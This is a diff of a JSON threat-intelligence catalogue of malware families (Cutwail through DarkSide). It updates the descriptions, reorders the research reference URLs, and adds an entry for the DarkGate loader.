"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf" + "https://www.mimecast.com/blog/how-to-slam-a-door-on-the-cutwail-botnet-enforce-dmarc/", + "https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -20424,18 +21392,18 @@ "value": "Cutwail" }, { - "description": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim’s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.\r\n", + "description": "According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to\r\nthe victim\u2019s system. Attackers can remotely connect to the compromised system from anywhere\r\naround the world. The Malware author generally uses this program to steal private information\r\nlike passwords, files, etc. It might also be used to install malicious software on the compromised\r\nsystems.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.reversinglabs.com/blog/rats-in-the-library", "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.subexsecure.com/pdf/malware-reports/2021-05/cybergate-threat-report.pdf", - "https://citizenlab.ca/2015/12/packrat-report/", - "https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns", "https://sectrio.com/wp-content/uploads/2021/08/cybergate-threat-report.pdf", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://citizenlab.ca/2015/12/packrat-report/", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" ], "synonyms": [ @@ -20472,7 +21440,7 @@ "value": "CycBot" }, { - "description": "Ransomware.", + "description": "According to gdatasoftware, Cyrat ransomware uses Fernet to encrypt files. This is a symmetric encryption method meant for small data files that fit into RAM. While Fernet is not unusual itself, it is not common for ransomware and in this case even problematic.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cyrat", @@ -20499,18 +21467,19 @@ "value": "cysxl" }, { - "description": "", + "description": "According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.\r\n\r\nResearch shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dacls", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://malwareandstuff.com/peb-where-magic-is-stored/", "https://blog.netlab.360.com/dacls-the-dual-platform-rat/", + "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://malwareandstuff.com/peb-where-magic-is-stored/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://blogs.vmware.com/security/2022/11/threat-analysis-active-c2-discovery-using-protocol-emulation-part4-dacls-aka-mata.html", "https://www.sygnia.co/mata-framework", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/" + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://vblocalhost.com/uploads/VB2021-Park.pdf" ], "synonyms": [ "MATA" @@ -20525,12 +21494,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadjoke", - "https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts", - "https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/", - "https://twitter.com/a_tweeter_user/status/1154764787823316993", - "https://twitter.com/ClearskySec/status/1110941178231484417", "https://www.youtube.com/watch?v=vx9IB88wXSE", - "https://medium.com/@Sebdraven/apt-40-in-malaysia-61ed9c9642e9" + "https://medium.com/@Sebdraven/apt-40-in-malaysia-61ed9c9642e9", + "https://twitter.com/ClearskySec/status/1110941178231484417", + "https://twitter.com/a_tweeter_user/status/1154764787823316993", + "https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/", + "https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts" ], "synonyms": [], "type": [] @@ -20543,12 +21512,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache", - "https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a", "https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign", - "https://twitter.com/killamjr/status/1204584085395517440", - "https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html", "https://medium.com/insomniacs/apt40-goes-from-template-injections-to-ole-linkings-for-payload-delivery-99eb43170a97", - "https://twitter.com/cyb3rops/status/1199978327697694720" + "https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a", + "https://danielplohmann.github.io/blog/2020/07/10/kf-sandbox-necromancy.html", + "https://twitter.com/cyb3rops/status/1199978327697694720", + "https://twitter.com/killamjr/status/1204584085395517440" ], "synonyms": [], "type": [] @@ -20570,52 +21539,53 @@ "value": "Dairy" }, { - "description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ", + "description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on \u201cquality over quantity\u201d in email-based threats. DanaBot\u2019s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot", - "https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1", - "https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/", "https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/", - "https://asert.arbornetworks.com/danabots-travels-a-global-perspective/", - "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", - "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.mandiant.com/resources/supply-chain-node-js", - "https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", - "https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://asec.ahnlab.com/en/30445/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://blog.lexfo.fr/danabot-malware.html", - "https://security-soup.net/decoding-a-danabot-downloader/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", - "https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot", - "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", - "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service", - "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed", - "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns", - "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", "https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/", + "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", + "https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1", + "https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques", + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", + "https://www.mandiant.com/resources/supply-chain-node-js", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://security-soup.net/decoding-a-danabot-downloader/", + "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://flashpoint.io/blog/danabot-version-3-what-you-need-to-know/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", + "https://blog.lexfo.fr/danabot-malware.html", + "https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns", + "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", "https://twitter.com/f0wlsec/status/1459892481760411649", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://asert.arbornetworks.com/danabots-travels-a-global-perspective/", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -20630,11 +21600,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot", "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", + "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/", "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f", - "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", - "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", - "https://www.youtube.com/watch?v=FttiysUZmDw" + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf" ], "synonyms": [], "type": [] @@ -20647,11 +21617,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit", - "https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware-Windows-DarkBit/README.md", - "https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/", "https://twitter.com/luc4m/status/1626535098039271425", - "https://labs.k7computing.com/index.php/muddywater-back-with-darkbit/" + "https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel", + "https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/", + "https://labs.k7computing.com/index.php/muddywater-back-with-darkbit/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware-Windows-DarkBit/README.md" ], "synonyms": [], "type": [] @@ -20664,6 +21634,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud", + "https://asec.ahnlab.com/en/53128/", "https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/" ], "synonyms": [], @@ -20677,26 +21648,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", - "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", - "https://content.fireeye.com/apt/rpt-apt38", "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", - "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Lazarus-%EA%B7%B8%EB%A3%B9%EC%9D%98-NukeSped-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C.pdf", + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://content.fireeye.com/apt/rpt-apt38", + "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", + "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/" ], "synonyms": [ "Breut", @@ -20713,8 +21685,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew", - "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", - "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia" ], "synonyms": [], "type": [] @@ -20735,6 +21707,32 @@ "uuid": "ccbc93b4-fd7a-4926-88f3-bcf5a1c530a5", "value": "DarkEye" }, + { + "description": "First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate", + "https://github.com/telekom-security/malware_analysis/blob/main/darkgate/extractor.py", + "https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams", + "https://decoded.avast.io/janrubin/meh-2-2/", + "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign", + "https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/", + "https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/darkgate-keylogger-analysis-masterofnone/", + "https://securelist.com/emotet-darkgate-lokibot-crimeware-report/110286/", + "https://decoded.avast.io/janrubin/complex-obfuscation-meh/", + "https://github.com/prodaft/malware-ioc/blob/master/PTI-66/DarkGate.md", + "https://medium.com/@DCSO_CyTec/shortandmalicious-darkgate-d9102a457232", + "https://github.security.telekom.com/2023/08/darkgate-loader.html" + ], + "synonyms": [ + "Meh" + ], + "type": [] + }, + "uuid": "977ef666-33b7-41d4-9d98-15ab0d16bede", + "value": "DarkGate" + }, { "description": "", "meta": { @@ -20794,8 +21792,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon", "https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml", - "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html", - "http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html" + "http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html", + "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html" ], "synonyms": [ "Chymine" @@ -20864,130 +21862,131 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside", - "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://www.varonis.com/blog/darkside-ransomware/", - "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", - "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", - "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", - "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", "https://www.secureworks.com/research/threat-profiles/gold-waterfall", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", + "https://twitter.com/GelosSnake/status/1451465959894667275", + "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", + "https://twitter.com/embee_research/status/1678631524374020098?s=46", + "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://brandefense.io/darkside-ransomware-analysis-report/", + "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", + "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", "https://unit42.paloaltonetworks.com/darkside-ransomware/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", + "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", + "https://www.acronis.com/en-us/articles/darkside-ransomware/", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", + "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", + "https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/", + "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://www.varonis.com/blog/darkside-ransomware/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", - 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"https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", - "https://www.databreaches.net/a-chat-with-darkside/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", - "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", - "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", + "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://zawadidone.nl/darkside-ransomware-analysis/", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", + "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", + 